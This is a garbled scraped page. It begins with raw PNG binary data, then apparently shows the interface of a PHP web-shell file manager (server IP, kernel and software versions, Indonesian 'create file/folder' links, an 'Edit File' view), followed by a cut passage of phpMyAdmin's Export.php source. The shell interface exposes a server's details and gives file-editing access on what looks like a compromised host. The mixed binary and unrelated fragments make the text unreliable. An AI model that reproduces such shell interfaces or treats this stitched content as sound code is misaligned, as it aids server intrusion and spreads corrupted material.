PNG  IHDR>asBIT|d pHYstEXtSoftwarewww.inkscape.org< IDATxyx\ř{f-mY&aOr$&&L$\dd@f11 0$  1"/ɫ%k_zQ5:Mx9ԩ[f`X1Y 6gW$Q A'bp;9ia%n)%b%]R'|5r>pBN/%EǛ0@%FB;0e&*kg5pG&%r16O7V[y*BVw*1ʴ˨n]h=?wF)%'<ǀK)wK <jFڹKi]JHop(0Y>)/E)K!n c5_ ɜu1>jN uÇ~ " f|)I!p`2Ѵr=ΦY]? !eDUon8Yݸ80y[+*<9yDBp0@t륔s"@pJ@ag'M2;L8ݥdAF:k|LJǎR)C!x ~*_J)yz?GCx PJ͛P9!uCh:nv> 1~BYV?i 7<-pBvR-$ }ZD%O:R)i<_Tմ.a酖Hƙ_e&s(g/qc0buT`W45S=w !Uᦈ !=sq֞_< O7t(DWoHP#s η8*j}dRdbnZYeBPd$أ. Ff8sZQge-^Q-PrB,U5.]HCcr`ڨ]!%/mFq>Qlj%nrU0LյTΞ~LQ׾X();c`)sҴ"fɪ{e.*U7Y%C!*uM+ϞҖna;u ] aPRqUDK!sp6Q C&Vm}GI@q!daIa5}lv誊*`ٕU3)\P,-XJB`2H[}–wR[7QWRc0M Ǵz5ӔUӁBd(:!(g'f{Y'0, W l*vBȥbW* 5 hFQ`F(pE^I`\FU!J`4h^[ɮ"yBA bkYsۧDBA¡ `H0@8$قlhDrYFBLfqsl;ޝ(N<du)XP53n,#>|GFNDR`2c41'k)sbsVcuVaqNh&$@Yt;0+" f iIΘDGwPH( kE56g8)UT W&3B=B &3 'DBiR$(p.{ߕ6$nx w##ݶ@$bl>U^YcZ#J'VIgYbSBy]`}8>=頢̦z씗9(wPGE7 ^1^/.nnw KO Ci;8!8u4;qL^[YɄV]u/* euQ͘4%CEy32-ѿZf2u&թ/Fpg7:84nG\I z݌t<BX+F#2h:7u򁂛 !vAt~i ܇=03 4a]݆yB1L+яj٩┶rF_d { Q %W1c ;;6:ɻJD;#.,&gc3ZL6}4C 72D> GMjv(1H݈7A-6)96~jjM_ç=?QxRO| fiڹ=/%B$Nxl {[u)eaų |LYpIʥT0.(g$Jx]Tt4~q1vFc{JO??DKPH_ݓ0)=uFXE!ΨV<q(֨+{H3rߏ|qU~F{OhQr4 b1=wp >FI߁H$·yH$_?{ȿ:M|׋Dpƽ4hR,G~`M-/nt xCʦ֔z N-$lˁSB,b'Hh00{g9.I"nSbvV7{I@Jyhƍ^ ULo@gs+ W6u%dn J?]M |-G"O  : Ė~0ށ$ͣ}2ZH8<|IO0m2LAw_6w6KTq;;H݂%W0⊯}"#nRnn'=ةnF CyR9B 0E(cȁ$ͣ0/^"EWijx=c!shrupus~c(~ʬ|h:ۢ$ #1{NO"8*_tje0s:m"Q|wk;zTp2|<ΘR-TO|n聄kp%,eθ zunOkH{HXϿls촼e8L2I)ŏ tZQMqH= Ӹpq"0>Jwx?c'&E-8O*LJYPd()!VoH^^D͜,qHD [o˱[~cޘǡnWy`35f+SbÝq[_R|?JB1';7&`18}֟J.oGops!g$LR\$-ʺI7[Wدg=u םۻ.fT%[DD0xcp8&%uyN7WOrõc23 xѻy_MMppO%8AF.۴P%<@̕lJo!81>yP'[z;h(j1h,-hS3;Hz Q`k L9dYk겋F}{aZh;`#O?H{4v)ʈPt!sͧYM p\TkƼCͼn l:>@+bpH;߻lF"' z٨`Yp\?.cglv:[J{[Ca0``4"H8D3J$|CH)7gzRP,f`y88}SHDBpX7q֪d%a!C+9< @DsaÆ qY̦M6ݺ|ǽu۞8q{UO.ӽ`*5kpU%C$O?ZǵHI Ttuu%j@8xr۫k rA.k'N^$sAD ``@?@{{;_|1\CT!ϲ~z^z饄x<ϕ?W@#@У@ww7> ,o;kس''V__]wG'?k[oDv-2$WV8u%{':I9WO;bztM @ }0{e F>)eftlv՘_haǎ;;;&krnjbEc#Y;*mx ^|Xw2k$H4h&#'x9/Z]oʅ&ҥKU}߹sIq8Cɓѝ9Wc3To߾K.$zkq$6T8|rcU[R[&AXz闗:.S/Viy7cvޭjIO@y˖eC&K@.> \=s xdwLn MEMg@<2={ .VȺu2E FH8|K>={NBsۭe7#Iʠ믿^U꫹;xW|~or饗vOٸq#&Sf4H$'[٩3c{!,.ڹKhXC=4lQ^^αcM"dڵ˷ 4l|vZ-TU00 D#?r'l[{<єؼy3<2Yq9X+9&N%%)eFѲ2lbOY#vr%ϥk!cέⴊ <0} ='zZlv.Kf!9 $Jc/h0qLq.pel0R53P$w+3™gk_϶m?}'–-[X|yb&D9V h1Mتj 4!SiIUk.n ))ަP}}=< V5v;/r^;LXHq2"H;V&#׀K!LոBl۶MuW^y%lsmt_FE|f]evTKDHBne]U"笳΢3i/]ͻ^7ʔ_tq"}3i]#KʹH;>ccc|_U]puV/^!LH˥Bj[KZR!Rʔ3b5qypApضm[XBE殗b0 mwKɞ~6a3ZlT.dJ[YRJY1@BtqqB3Π*e;<x*2p%Sy& a6mڔ7'Lsť;SR@7&Of, mkVdkGbU4m{<4A;"{/7n̍d4&qUw`Lm: }ݗP4 yOb[wy'"@ 7-jmUKz_~G7Jb Ν\méU;>V+Um{,ަCGIӱ"dhXKAG}TU{n{<_2_håo|͛7SY95+$"@ `hh2Ig j{ 鵛@*(2T3ׯg|΋\Զw#q@E†nfjkk@@wiD" 'zvp=o굛@RH);F\&hW'r8I#{u21mgfRx7y]C;3kB`6D  #J?oJ[nUVyfO[ 3ouhn(Ti c)q* (6ҵ4ZF?ǤMHYBQ@'L)V>WuE4$~F0~>Owu oqa.7iϿۋLadd1}{GGG]d0Ep)kuXaxXiJL9\bh1&GKdjᰮ~  ?$ QP< + Default page
  • Your IP: 216.73.216.14
  • Server IP: 15.206.10.86
  • Server: Linux ip-172-31-44-180 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
  • Server Software: Apache/2.4.41 (Ubuntu)
  • PHP Version: 7.4.3-4ubuntu2.29
  • Buat File | Buat Folder
Edit File: Export.php
' . '
' . '
' // bottom back button . $back_button . $refreshButton . '
' . '' . "\n"; return $html; } /** * Computes the memory limit for export * * @return int $memory_limit the memory limit */ public static function getMemoryLimit() { $memory_limit = trim(ini_get('memory_limit')); $memory_limit_num = (int)substr($memory_limit, 0, -1); $lowerLastChar = strtolower(substr($memory_limit, -1)); // 2 MB as default if (empty($memory_limit) || '-1' == $memory_limit) { $memory_limit = 2 * 1024 * 1024; } elseif ($lowerLastChar == 'm') { $memory_limit = $memory_limit_num * 1024 * 1024; } elseif ($lowerLastChar == 'k') { $memory_limit = $memory_limit_num * 1024; } elseif ($lowerLastChar == 'g') { $memory_limit = $memory_limit_num * 1024 * 1024 * 1024; } else { $memory_limit = (int)$memory_limit; } // Some of memory is needed for other things and as threshold. // During export I had allocated (see memory_get_usage function) // approx 1.2MB so this comes from that. if ($memory_limit > 1500000) { $memory_limit -= 1500000; } // Some memory is needed for compression, assume 1/3 $memory_limit /= 8; return $memory_limit; } /** * Return the filename and MIME type for export file * * @param string $export_type type of export * @param string $remember_template whether to remember template * @param ExportPlugin $export_plugin the export plugin * @param string $compression compression asked * @param string $filename_template the filename template * * @return string[] the filename template and mime type */ public static function getFilenameAndMimetype( $export_type, $remember_template, $export_plugin, $compression, $filename_template ) { if ($export_type == 'server') { if (! empty($remember_template)) { $GLOBALS['PMA_Config']->setUserValue( 'pma_server_filename_template', 'Export/file_template_server', $filename_template ); } } elseif ($export_type == 'database') { if (! empty($remember_template)) { $GLOBALS['PMA_Config']->setUserValue( 'pma_db_filename_template', 'Export/file_template_database', $filename_template ); } } else { if (! empty($remember_template)) { $GLOBALS['PMA_Config']->setUserValue( 'pma_table_filename_template', 'Export/file_template_table', $filename_template ); } } $filename = Util::expandUserString($filename_template); // remove dots in filename (coming from either the template or already // part of the filename) to avoid a remote code execution vulnerability $filename = Sanitize::sanitizeFilename($filename, $replaceDots = true); // Grab basic dump extension and mime type // Check if the user already added extension; // get the substring where the extension would be if it was included $extension_start_pos = mb_strlen($filename) - mb_strlen( $export_plugin->getProperties()->getExtension() ) - 1; $user_extension = mb_substr( $filename, $extension_start_pos, mb_strlen($filename) ); $required_extension = "." . $export_plugin->getProperties()->getExtension(); if (mb_strtolower($user_extension) != $required_extension) { $filename .= $required_extension; } $mime_type = $export_plugin->getProperties()->getMimeType(); // If dump is going to be compressed, set correct mime_type and add // compression to extension if ($compression == 'gzip') { $filename .= '.gz'; $mime_type = 'application/x-gzip'; } elseif ($compression == 'zip') { $filename .= '.zip'; $mime_type = 'application/zip'; } return array($filename, $mime_type); } /** * Open the export file * * @param string $filename the export filename * @param boolean $quick_export whether it's a quick export or not * * @return array the full save filename, possible message and the file handle */ public static function openFile($filename, $quick_export) { $file_handle = null; $message = ''; $doNotSaveItOver = true; if(isset($_POST['quick_export_onserver_overwrite'])) { $doNotSaveItOver = $_POST['quick_export_onserver_overwrite'] != 'saveitover'; } $save_filename = Util::userDir($GLOBALS['cfg']['SaveDir']) . preg_replace('@[/\\\\]@', '_', $filename); if (@file_exists($save_filename) && ((! $quick_export && empty($_POST['onserver_overwrite'])) || ($quick_export && $doNotSaveItOver)) ) { $message = Message::error( __( 'File %s already exists on server, ' . 'change filename or check overwrite option.' ) ); $message->addParam($save_filename); } elseif (@is_file($save_filename) && ! @is_writable($save_filename)) { $message = Message::error( __( 'The web server does not have permission ' . 'to save the file %s.' ) ); $message->addParam($save_filename); } elseif (! $file_handle = @fopen($save_filename, 'w')) { $message = Message::error( __( 'The web server does not have permission ' . 'to save the file %s.' ) ); $message->addParam($save_filename); } return array($save_filename, $message, $file_handle); } /** * Close the export file * * @param resource $file_handle the export file handle * @param string $dump_buffer the current dump buffer * @param string $save_filename the export filename * * @return Message $message a message object (or empty string) */ public static function closeFile($file_handle, $dump_buffer, $save_filename) { $write_result = @fwrite($file_handle, $dump_buffer); fclose($file_handle); // Here, use strlen rather than mb_strlen to get the length // in bytes to compare against the number of bytes written. if (strlen($dump_buffer) > 0 && (! $write_result || $write_result != strlen($dump_buffer)) ) { $message = new Message( __('Insufficient space to save the file %s.'), Message::ERROR, array($save_filename) ); } else { $message = new Message( __('Dump has been saved to file %s.'), Message::SUCCESS, array($save_filename) ); } return $message; } /** * Compress the export buffer * * @param array|string $dump_buffer the current dump buffer * @param string $compression the compression mode * @param string $filename the filename * * @return object $message a message object (or empty string) */ public static function compress($dump_buffer, $compression, $filename) { if ($compression == 'zip' && function_exists('gzcompress')) { $zipExtension = new ZipExtension(); $filename = substr($filename, 0, -4); // remove extension (.zip) $dump_buffer = $zipExtension->createFile($dump_buffer, $filename); } elseif ($compression == 'gzip' && self::gzencodeNeeded()) { // without the optional parameter level because it bugs $dump_buffer = gzencode($dump_buffer); } return $dump_buffer; } /** * Saves the dump_buffer for a particular table in an array * Used in separate files export * * @param string $object_name the name of current object to be stored * @param boolean $append optional boolean to append to an existing index or not * * @return void */ public static function saveObjectInBuffer($object_name, $append = false) { global $dump_buffer_objects, $dump_buffer, $dump_buffer_len; if (! empty($dump_buffer)) { if ($append && isset($dump_buffer_objects[$object_name])) { $dump_buffer_objects[$object_name] .= $dump_buffer; } else { $dump_buffer_objects[$object_name] = $dump_buffer; } } // Re - initialize $dump_buffer = ''; $dump_buffer_len = 0; } /** * Returns HTML containing the header for a displayed export * * @param string $export_type the export type * @param string $db the database name * @param string $table the table name * * @return string[] the generated HTML and back button */ public static function getHtmlForDisplayedExportHeader($export_type, $db, $table) { $html = '
'; /** * Displays a back button with all the $_POST data in the URL * (store in a variable to also display after the textarea) */ $back_button = '

[ ' . __('Back') . ' ]

'; $html .= '
'; $html .= $back_button; $refreshButton = '
'; $refreshButton .= '[ '. __('Refresh') .' ]'; foreach($_POST as $name => $value) { if (is_array($value)) { foreach($value as $val) { $refreshButton .= ''; } } else { $refreshButton .= ''; } } $refreshButton .= '
'; $html .= $refreshButton . '
' . '
' . '